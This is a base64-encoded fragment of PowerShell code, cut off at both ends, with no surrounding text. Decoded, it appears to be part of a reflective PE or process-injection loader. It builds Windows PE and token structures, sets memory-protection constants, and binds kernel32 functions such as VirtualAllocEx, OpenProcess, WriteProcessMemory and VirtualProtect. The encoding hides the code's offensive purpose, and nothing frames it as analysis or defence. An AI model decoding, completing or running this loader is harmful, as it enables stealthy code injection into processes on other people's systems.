RVNDUklQVE9SDQoNCgkJI1N0cnVjdCBJTUFHRV9FWFBPUlRfRElSRUNUT1JZDQoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQsIEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgU2VxdWVudGlhbExheW91dCwgU2VhbGVkLCBCZWZvcmVGaWVsZEluaXQnDQoJCSRUeXBlQnVpbGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX0VYUE9SVF9ESVJFQ1RPUlknLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5cGVdLCA0MCkNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdUaW1lRGF0ZVN0YW1wJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFqb3JWZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWlub3JWZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTmFtZScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0Jhc2UnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJPZkZ1bmN0aW9ucycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ051bWJlck9mTmFtZXMnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdBZGRyZXNzT2ZGdW5jdGlvbnMnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdBZGRyZXNzT2ZOYW1lcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0FkZHJlc3NPZk5hbWVPcmRpbmFscycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkSU1BR0VfRVhQT1JUX0RJUkVDVE9SWSA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9FWFBPUlRfRElSRUNUT1JZIC1WYWx1ZSAkSU1BR0VfRVhQT1JUX0RJUkVDVE9SWQ0KCQkNCgkJI1N0cnVjdCBMVUlEDQoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQsIEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgU2VxdWVudGlhbExheW91dCwgU2VhbGVkLCBCZWZvcmVGaWVsZEluaXQnDQoJCSRUeXBlQnVpbGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0xVSUQnLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5cGVdLCA4KQ0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0xvd1BhcnQnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdIaWdoUGFydCcsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkTFVJRCA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBMVUlEIC1WYWx1ZSAkTFVJRA0KCQkNCgkJI1N0cnVjdCBMVUlEX0FORF9BVFRSSUJVVEVTDQoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQsIEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgU2VxdWVudGlhbExheW91dCwgU2VhbGVkLCBCZWZvcmVGaWVsZEluaXQnDQoJCSRUeXBlQnVpbGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0xVSURfQU5EX0FUVFJJQlVURVMnLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5cGVdLCAxMikNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdMdWlkJywgJExVSUQsICdQdWJsaWMnKSB8IE91dC1OdWxsDQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQXR0cmlidXRlcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkTFVJRF9BTkRfQVRUUklCVVRFUyA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkNCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBMVUlEX0FORF9BVFRSSUJVVEVTIC1WYWx1ZSAkTFVJRF9BTkRfQVRUUklCVVRFUw0KCQkNCgkJI1N0cnVjdCBUT0tFTl9QUklWSUxFR0VTDQoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQsIEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgU2VxdWVudGlhbExheW91dCwgU2VhbGVkLCBCZWZvcmVGaWVsZEluaXQnDQoJCSRUeXBlQnVpbGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ1RPS0VOX1BSSVZJTEVHRVMnLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5cGVdLCAxNikNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdQcml2aWxlZ2VDb3VudCcsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1ByaXZpbGVnZXMnLCAkTFVJRF9BTkRfQVRUUklCVVRFUywgJ1B1YmxpYycpIHwgT3V0LU51bGwNCgkJJFRPS0VOX1BSSVZJTEVHRVMgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpDQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgVE9LRU5fUFJJVklMRUdFUyAtVmFsdWUgJFRPS0VOX1BSSVZJTEVHRVMNCg0KCQlyZXR1cm4gJFdpbjMyVHlwZXMNCgl9DQoNCglGdW5jdGlvbiBHZXQtV2luMzJDb25zdGFudHMNCgl7DQoJCSRXaW4zMkNvbnN0YW50cyA9IE5ldy1PYmplY3QgU3lzdGVtLk9iamVjdA0KCQkNCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTUVNX0NPTU1JVCAtVmFsdWUgMHgwMDAwMTAwMA0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBNRU1fUkVTRVJWRSAtVmFsdWUgMHgwMDAwMjAwMA0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQQUdFX05PQUNDRVNTIC1WYWx1ZSAweDAxDQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIFBBR0VfUkVBRE9OTFkgLVZhbHVlIDB4MDINCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9SRUFEV1JJVEUgLVZhbHVlIDB4MDQNCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9XUklURUNPUFkgLVZhbHVlIDB4MDgNCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRFIC1WYWx1ZSAweDEwDQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIFBBR0VfRVhFQ1VURV9SRUFEIC1WYWx1ZSAweDIwDQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIFBBR0VfRVhFQ1VURV9SRUFEV1JJVEUgLVZhbHVlIDB4NDANCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRFX1dSSVRFQ09QWSAtVmFsdWUgMHg4MA0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQQUdFX05PQ0FDSEUgLVZhbHVlIDB4MjAwDQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX1JFTF9CQVNFRF9BQlNPTFVURSAtVmFsdWUgMA0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9SRUxfQkFTRURfSElHSExPVyAtVmFsdWUgMw0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9SRUxfQkFTRURfRElSNjQgLVZhbHVlIDEwDQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX1NDTl9NRU1fRElTQ0FSREFCTEUgLVZhbHVlIDB4MDIwMDAwMDANCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfU0NOX01FTV9FWEVDVVRFIC1WYWx1ZSAweDIwMDAwMDAwDQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX1NDTl9NRU1fUkVBRCAtVmFsdWUgMHg0MDAwMDAwMA0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9TQ05fTUVNX1dSSVRFIC1WYWx1ZSAweDgwMDAwMDAwDQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX1NDTl9NRU1fTk9UX0NBQ0hFRCAtVmFsdWUgMHgwNDAwMDAwMA0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBNRU1fREVDT01NSVQgLVZhbHVlIDB4NDAwMA0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9GSUxFX0VYRUNVVEFCTEVfSU1BR0UgLVZhbHVlIDB4MDAwMg0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9GSUxFX0RMTCAtVmFsdWUgMHgyMDAwDQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX0RMTENIQVJBQ1RFUklTVElDU19EWU5BTUlDX0JBU0UgLVZhbHVlIDB4NDANCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfRExMQ0hBUkFDVEVSSVNUSUNTX05YX0NPTVBBVCAtVmFsdWUgMHgxMDANCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTUVNX1JFTEVBU0UgLVZhbHVlIDB4ODAwMA0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBUT0tFTl9RVUVSWSAtVmFsdWUgMHgwMDA4DQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIFRPS0VOX0FESlVTVF9QUklWSUxFR0VTIC1WYWx1ZSAweDAwMjANCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgU0VfUFJJVklMRUdFX0VOQUJMRUQgLVZhbHVlIDB4Mg0KCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBFUlJPUl9OT19UT0tFTiAtVmFsdWUgMHgzZjANCgkJDQoJCXJldHVybiAkV2luMzJDb25zdGFudHMNCgl9DQoNCglGdW5jdGlvbiBHZXQtV2luMzJGdW5jdGlvbnMNCgl7DQoJCSRXaW4zMkZ1bmN0aW9ucyA9IE5ldy1PYmplY3QgU3lzdGVtLk9iamVjdA0KCQkNCgkJJFZpcnR1YWxBbGxvY0FkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIFZpcnR1YWxBbGxvYw0KCQkkVmlydHVhbEFsbG9jRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtVSW50UHRyXSwgW1VJbnQzMl0sIFtVSW50MzJdKSAoW0ludFB0cl0pDQoJCSRWaXJ0dWFsQWxsb2MgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkVmlydHVhbEFsbG9jQWRkciwgJFZpcnR1YWxBbGxvY0RlbGVnYXRlKQ0KCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0eSAtTmFtZSBWaXJ0dWFsQWxsb2MgLVZhbHVlICRWaXJ0dWFsQWxsb2MNCgkJDQoJCSRWaXJ0dWFsQWxsb2NFeEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIFZpcnR1YWxBbGxvY0V4DQoJCSRWaXJ0dWFsQWxsb2NFeERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW1VJbnRQdHJdLCBbVUludDMyXSwgW1VJbnQzMl0pIChbSW50UHRyXSkNCgkJJFZpcnR1YWxBbGxvY0V4ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJFZpcnR1YWxBbGxvY0V4QWRkciwgJFZpcnR1YWxBbGxvY0V4RGVsZWdhdGUpDQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxBbGxvY0V4IC1WYWx1ZSAkVmlydHVhbEFsbG9jRXgNCgkJDQoJCSRtZW1jcHlBZGRyID0gR2V0LVByb2NBZGRyZXNzIG1zdmNydC5kbGwgbWVtY3B5DQoJCSRtZW1jcHlEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwgW0ludFB0cl0sIFtVSW50UHRyXSkgKFtJbnRQdHJdKQ0KCQkkbWVtY3B5ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJG1lbWNweUFkZHIsICRtZW1jcHlEZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgbWVtY3B5IC1WYWx1ZSAkbWVtY3B5DQoJCQ0KCQkkbWVtc2V0QWRkciA9IEdldC1Qcm9jQWRkcmVzcyBtc3ZjcnQuZGxsIG1lbXNldA0KCQkkbWVtc2V0RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnQzMl0sIFtJbnRQdHJdKSAoW0ludFB0cl0pDQoJCSRtZW1zZXQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkbWVtc2V0QWRkciwgJG1lbXNldERlbGVnYXRlKQ0KCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBtZW1zZXQgLVZhbHVlICRtZW1zZXQNCgkJDQoJCSRMb2FkTGlicmFyeUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIExvYWRMaWJyYXJ5QQ0KCQkkTG9hZExpYnJhcnlEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbU3RyaW5nXSkgKFtJbnRQdHJdKQ0KCQkkTG9hZExpYnJhcnkgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkTG9hZExpYnJhcnlBZGRyLCAkTG9hZExpYnJhcnlEZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTG9hZExpYnJhcnkgLVZhbHVlICRMb2FkTGlicmFyeQ0KCQkNCgkJJEdldFByb2NBZGRyZXNzQWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgR2V0UHJvY0FkZHJlc3MNCgkJJEdldFByb2NBZGRyZXNzRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtTdHJpbmddKSAoW0ludFB0cl0pDQoJCSRHZXRQcm9jQWRkcmVzcyA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRHZXRQcm9jQWRkcmVzc0FkZHIsICRHZXRQcm9jQWRkcmVzc0RlbGVnYXRlKQ0KCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRQcm9jQWRkcmVzcyAtVmFsdWUgJEdldFByb2NBZGRyZXNzDQoJCQ0KCQkkR2V0UHJvY0FkZHJlc3NPcmRpbmFsQWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgR2V0UHJvY0FkZHJlc3MNCgkJJEdldFByb2NBZGRyZXNzT3JkaW5hbERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSkgKFtJbnRQdHJdKQ0KCQkkR2V0UHJvY0FkZHJlc3NPcmRpbmFsID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJEdldFByb2NBZGRyZXNzT3JkaW5hbEFkZHIsICRHZXRQcm9jQWRkcmVzc09yZGluYWxEZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgR2V0UHJvY0FkZHJlc3NPcmRpbmFsIC1WYWx1ZSAkR2V0UHJvY0FkZHJlc3NPcmRpbmFsDQoJCQ0KCQkkVmlydHVhbEZyZWVBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBWaXJ0dWFsRnJlZQ0KCQkkVmlydHVhbEZyZWVEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwgW1VJbnRQdHJdLCBbVUludDMyXSkgKFtCb29sXSkNCgkJJFZpcnR1YWxGcmVlID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJFZpcnR1YWxGcmVlQWRkciwgJFZpcnR1YWxGcmVlRGVsZWdhdGUpDQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxGcmVlIC1WYWx1ZSAkVmlydHVhbEZyZWUNCgkJDQoJCSRWaXJ0dWFsRnJlZUV4QWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgVmlydHVhbEZyZWVFeA0KCQkkVmlydHVhbEZyZWVFeERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW1VJbnRQdHJdLCBbVUludDMyXSkgKFtCb29sXSkNCgkJJFZpcnR1YWxGcmVlRXggPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkVmlydHVhbEZyZWVFeEFkZHIsICRWaXJ0dWFsRnJlZUV4RGVsZWdhdGUpDQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxGcmVlRXggLVZhbHVlICRWaXJ0dWFsRnJlZUV4DQoJCQ0KCQkkVmlydHVhbFByb3RlY3RBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBWaXJ0dWFsUHJvdGVjdA0KCQkkVmlydHVhbFByb3RlY3REZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwgW1VJbnRQdHJdLCBbVUludDMyXSwgW1VJbnQzMl0uTWFrZUJ5UmVmVHlwZSgpKSAoW0Jvb2xdKQ0KCQkkVmlydHVhbFByb3RlY3QgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkVmlydHVhbFByb3RlY3RBZGRyLCAkVmlydHVhbFByb3RlY3REZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciBOb3RlUHJvcGVydHkgLU5hbWUgVmlydHVhbFByb3RlY3QgLVZhbHVlICRWaXJ0dWFsUHJvdGVjdA0KCQkNCgkJJEdldE1vZHVsZUhhbmRsZUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIEdldE1vZHVsZUhhbmRsZUENCgkJJEdldE1vZHVsZUhhbmRsZURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtTdHJpbmddKSAoW0ludFB0cl0pDQoJCSRHZXRNb2R1bGVIYW5kbGUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkR2V0TW9kdWxlSGFuZGxlQWRkciwgJEdldE1vZHVsZUhhbmRsZURlbGVnYXRlKQ0KCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRNb2R1bGVIYW5kbGUgLVZhbHVlICRHZXRNb2R1bGVIYW5kbGUNCgkJDQoJCSRGcmVlTGlicmFyeUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIEZyZWVMaWJyYXJ5DQoJCSRGcmVlTGlicmFyeURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtCb29sXSkgKFtJbnRQdHJdKQ0KCQkkRnJlZUxpYnJhcnkgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkRnJlZUxpYnJhcnlBZGRyLCAkRnJlZUxpYnJhcnlEZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgRnJlZUxpYnJhcnkgLVZhbHVlICRGcmVlTGlicmFyeQ0KCQkNCgkJJE9wZW5Qcm9jZXNzQWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgT3BlblByb2Nlc3MNCgkgICAgJE9wZW5Qcm9jZXNzRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW1VJbnQzMl0sIFtCb29sXSwgW1VJbnQzMl0pIChbSW50UHRyXSkNCgkgICAgJE9wZW5Qcm9jZXNzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJE9wZW5Qcm9jZXNzQWRkciwgJE9wZW5Qcm9jZXNzRGVsZWdhdGUpDQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE9wZW5Qcm9jZXNzIC1WYWx1ZSAkT3BlblByb2Nlc3MNCgkJDQoJCSRXYWl0Rm9yU2luZ2xlT2JqZWN0QWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgV2FpdEZvclNpbmdsZU9iamVjdA0KCSAgICAkV2FpdEZvclNpbmdsZU9iamVjdERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludDMyXSkgKFtVSW50MzJdKQ0KCSAgICAkV2FpdEZvclNpbmdsZU9iamVjdCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRXYWl0Rm9yU2luZ2xlT2JqZWN0QWRkciwgJFdhaXRGb3JTaW5nbGVPYmplY3REZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgV2FpdEZvclNpbmdsZU9iamVjdCAtVmFsdWUgJFdhaXRGb3JTaW5nbGVPYmplY3QNCgkJDQoJCSRXcml0ZVByb2Nlc3NNZW1vcnlBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBXcml0ZVByb2Nlc3NNZW1vcnkNCiAgICAgICAgJFdyaXRlUHJvY2Vzc01lbW9yeURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW0ludFB0cl0sIFtVSW50UHRyXSwgW1VJbnRQdHJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkNCiAgICAgICAgJFdyaXRlUHJvY2Vzc01lbW9yeSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRXcml0ZVByb2Nlc